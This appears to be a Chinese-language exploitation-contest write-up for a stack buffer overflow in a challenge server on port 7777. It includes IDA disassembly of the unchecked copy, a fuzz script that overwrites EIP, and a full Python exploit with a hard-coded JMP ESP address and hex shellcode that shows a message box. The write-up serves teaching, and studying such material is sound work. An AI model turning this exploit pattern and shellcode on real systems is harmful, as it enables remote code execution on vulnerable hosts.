提交者看雪ID:xfmaple
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
黑客技术爱好者
PE分析:
程序启动之后,会监听本地的7777端口,用来接受用户的输入,然后显示在屏幕上。
漏洞描述:
程序在接受用户的输入的数据时候,没有进行边界的检查,导致用户输入过长的数据时,在strcpy时产生溢出
用IDA加载分析
(因为是在处理接受输入的数据的时候出现的问题,因为我们可以直接找到recv函数的地方)
漏洞分析结束。代码:.text:00401200 loc_401200: ; CODE XREF: _main+1AA j .text:00401200 ; _main+1C9 j .text:00401200 mov ecx, 80h .text:00401205 xor eax, eax .text:00401207 lea edi, [esp+34h] .text:0040120B push eax ; flags .text:0040120C rep stosd .text:0040120E lea ecx, [esp+38h] .text:00401212 push 200h ; len //接受的长度 .text:00401217 push ecx ; buf //缓冲区80h .text:00401218 push ebx ; s .text:00401219 call ds:recv //接受数据 .text:0040121F mov esi, eax .text:00401221 test esi, esi //是否有数据受到 .text:00401223 jge short loc_40124B //如果有数据接受到,跳转 .text:00401225 push offset aReadingStreamM ; "reading stream message erro!" .text:0040122A mov ecx, offset dword_409A68 .text:0040122F call ??6ostream@@QAEAAV0@PBD@Z ; ostream::operator<<(char const *) .text:00401234 push offset sub_4012D0 .text:00401239 push 0Ah .text:0040123B mov ecx, eax .text:0040123D call ??6ostream@@QAEAAV0@E@Z ; ostream::operator<<(uchar) .text:00401242 mov ecx, eax .text:00401244 call sub_4012B0 .text:00401249 xor esi, esi 如上面分析,程序在接受到数据以后会跳转到short loc_40124B 进行处理,继续跟进 .text:0040124B loc_40124B: ; CODE XREF: _main+173 j .text:0040124B lea edx, [esp+34h] //把edx指向接受到的数据 .text:0040124F push edx .text:00401250 call sub_401000 //处理,跟进 .text:00401255 add esp, 4 .text:00401258 test esi, esi .text:0040125A jnz short loc_401200 .text:0040125C push ebx ; s .text:0040125D call ds:closesocket .text:00401263 lea eax, [esp+3C4h+name] .text:00401267 lea ecx, [esp+3C4h+addr.sa_data+2] .text:0040126B push eax ; addrlen .text:0040126C push ecx ; addr .text:0040126D push ebp ; s .text:0040126E call ds:accept .text:00401274 mov ebx, eax .text:00401276 cmp ebx, 0FFFFFFFFh .text:00401279 jnz short loc_401200 .text:0040127B pop edi .text:0040127C pop esi 跟进出: .text:00401000 sub_401000 proc near ; CODE XREF: _main+1A0 p .text:00401000 .text:00401000 var_C8 = byte ptr -0C8h .text:00401000 arg_0 = dword ptr 4 .text:00401000 .text:00401000 sub esp, 0C8h //分配内存大小0c8h = 200字节,关键 .text:00401006 or ecx, 0FFFFFFFFh // .text:00401009 xor eax, eax //eax清零 .text:0040100B lea edx, [esp+0C8h+var_C8] //指向分配空间的起始地址 .text:0040100F push esi .text:00401010 push edi //保存esi,edi .text:00401011 mov edi, [esp+0D0h+arg_0] //edi指向接受的数据 .text:00401018 push offset asc_40904C ; "********************" .text:0040101D repne scasb .text:0040101F not ecx .text:00401021 sub edi, ecx .text:00401023 mov eax, ecx .text:00401025 mov esi, edi .text:00401027 mov edi, edx .text:00401029 shr ecx, 2 .text:0040102C rep movsd //把源数据copy到目标区域,这里就是strcpy,溢出点。我们只分配了200空间的大小,也就是说超过200个字符就会溢出。 .text:0040102E mov ecx, eax .text:00401030 and ecx, 3 .text:00401033 rep movsb .text:00401035 mov ecx, offset dword_409A68 .text:0040103A call ??6ostream@@QAEAAV0@PBD@Z ; ostream::operator<<(char const *) .text:0040103F push offset sub_4012D0 .text:00401044 push 0Ah .text:00401046 mov ecx, eax .text:00401048 call ??6ostream@@QAEAAV0@E@Z ; ostream::operator<<(uchar) .text:0040104D mov ecx, eax .text:0040104F call sub_4012B0 .text:00401054 push offset aReceived ; "received:" .text:00401059 mov ecx, offset dword_409A68 .text:0040105E call ??6ostream@@QAEAAV0@PBD@Z ; ostream::operator<<(char const *) .text:00401063 push offset sub_4012D0 .text:00401068 push 0Ah .text:0040106A mov ecx, eax .text:0040106C call ??6ostream@@QAEAAV0@E@Z ; ostream::operator<<(uchar) .text:00401071 mov ecx, eax .text:00401073 call sub_4012B0 .text:00401078 lea ecx, [esp+0D0h+var_C8] .text:0040107C push ecx .text:0040107D mov ecx, offset dword_409A68 .text:00401082 call ??6ostream@@QAEAAV0@PBD@Z ; ostream::operator<<(char const *) .text:00401087 push offset sub_4012D0 .text:0040108C push 0Ah .text:0040108E mov ecx, eax .text:00401090 call ??6ostream@@QAEAAV0@E@Z ; ostream::operator<<(uchar) .text:00401095 mov ecx, eax .text:00401097 call sub_4012B0 .text:0040109C pop edi .text:0040109D pop esi .text:0040109E add esp, 0C8h .text:004010A4 retn .text:004010A4 sub_401000 endp
shellcode描述:
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码
根据上面的程序分析,在我们发送超过200个字符就产生溢出,现用python写个简单的测试程序测试一下,我们的分析是否正确
用OD加载程序,运行代码:from socket import * if __name__ == '__main__': fuzzstrings ='A' * 200 + 'B'*4 + 'C' * 4 sockobj = socket (AF_INET, SOCK_STREAM) sockobj.connect(('127.0.0.1', 7777)); sockobj.send(fuzzstrings) sockobj.close()
覆盖了EIP为42424242,ASCII就是BBBB,说明我们的分析是正确的。
在failwest几期教程,已经教了我们一些寻找JMP ESP的跳转地址的方法。
我这里就用一个中文版,NT/XP/2003通用跳转地址7ffa54cd (当然你可以找别的,这里偷懒一下)也就是说需要把’B’ * 4换成0x7ffa54cd,到这里第一个跳转解决了。
SHELLCODE的编写,其实也一门很有技巧的学科,我这里还直接用failwest在案例中给出的SHELLCODE,等着failwest书来教我怎么更好,更能适合环境的SHELLCODE.:)
如果要自己开发的话,应该还要避免\0出现,否则会在strcpy中截断
结合上面的分析,我们可以给出如下代码
exploit运行成功运行了代码:from socket import * if __name__ == '__main__': shellcode = 'A' * 200 + "\xcd\x54\xfa\x7f" shellcode=shellcode+ "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" + \ "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" + \ "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" + \ "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" + \ "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" + \ "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" + \ "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" + \ "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" + \ "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" + \ "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" + \ "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" sockobj = socket (AF_INET, SOCK_STREAM) sockobj.connect(('127.0.0.1', 7777)); sockobj.send(shellcode) sockobj.close()
稳定性与通用性论证
这里用failwest,通过TEB/PEB的方式,动态定位DLL,API或得,在加上我们的中文通用跳转地址,所以能够很好的在中文版的NT/XP/2003中稳定运行。具体可以看
http://bbs.pediy.com/showthread.php?t=57128
《完全分析failwest Sir's Shellcode》此文的注释已经非常详细了。
创新性论证(可选)
1. 思路,拿到赛题的时候,看到A题中的 说明,是一个服务器程序,溢出的基本原因是由于人工或者外界的输入数据,处理不当引起的。因为是赛题,第一给我感觉就是在接受的地方有问题,运行程序以后,发现多了个7777的端口。然后马上用nc 127.0.0.1 7777 < 1.txt的方式进行测试,在1.txt可以放入N个A, ctrl+c, ctrl+v的方法先来简单做猜想,用NC还是不错的主意。事实也确实证明了我的想法。
2. 在分析的过程中,用IDA简单的看了一下,基本就是一个用C++写的创建服务的过程,IDA也给出了很多注释。也像开始些的那样,可以推测出是在recv以后,处理数据的地方出了问题,然后马上定位到那个地方,也可以用OD启动,在recv下断点,来单步跟踪调试,直到找到出问题的地方。
自己有个很笨的调试方法,就是在找到溢出点附近的适合,我就先F8单步步过调试,如果发现经过某个call以后,溢出了。那就在call中下断点,然后ctrl+f2,继续重复步骤。虽然可能需要重复很多次,但一定能够找到,对于经验缺少的我们这些才菜鸟来说,还是行的通的。